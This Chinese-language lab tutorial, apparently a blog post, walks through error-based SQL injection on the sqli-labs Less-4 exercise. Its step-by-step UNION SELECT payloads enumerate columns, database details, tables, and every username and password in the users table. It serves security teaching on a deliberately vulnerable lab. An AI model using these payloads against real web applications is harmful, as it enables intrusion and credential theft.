一、预备知识
1. SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
2. 根据相关技术原理,SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤,从而执行了非法的数据查询。
二、实验目的
学会双引号报错注入的SQL注入。
三、实验工具
浏览器
四、实验步骤
第一步:访问
http://www.any.com/sqli/Less-4/?id=1 #页面正常

第二步:加入双引号,访问
http://www.any.com/sqli/Less-4/?id=1" #会报错

第三步:判断列数。(通过二分法)
1)输入:
http://www.any.com/sqli/Less-4/?id=1") order by 3 %23
页面正常,说明大于等于3列:

2)输入:
http://www.any.com/sqli/Less-4/?id=1") order by 4 %23
提示 Unknown column '4' in 'order clause',说明小于4列,结合上面的可以确定有3列:

第四步:查看显错点
http://www.any.com/sqli/Less-4/?id=1") and 1=2 union select 11,22,33 %23
显错点在第二个和第三个位置:

第五步:查看用户信息、数据库名称、MySQL版本信息
http://www.any.com/sqli/Less-4/?id=1") and 1=2 union select 11,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),33 %23

第六步:查看 security 数据库中所有表
http://www.any.com/sqli/Less-4/?id=1") and 1=2 union select 1,2,unhex(hex(group_concat(table_name))) from information_schema.tables where table_schema='security' %23
得到所有的表:emails,referers,uagents,users

第七步:查看 users 表中所有列
http://www.any.com/sqli/Less-4/?id=1") and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security' %23
得到所有的列:id,username,password

第八步:查看所有列的值
http://www.any.com/sqli/Less-4/?id=1") and 1=2 union select 1,2,group_concat(id,' ',username,' ',password) from security.users %23


本文详细介绍了SQL注入中的双括号报错注入方法,从预备知识到实验步骤,包括如何判断列数、查看显错点、获取数据库信息、表名和列名,以及查看数据。通过实验步骤,揭示了SQL注入攻击的过程。
3520

被折叠的 条评论
为什么被折叠?



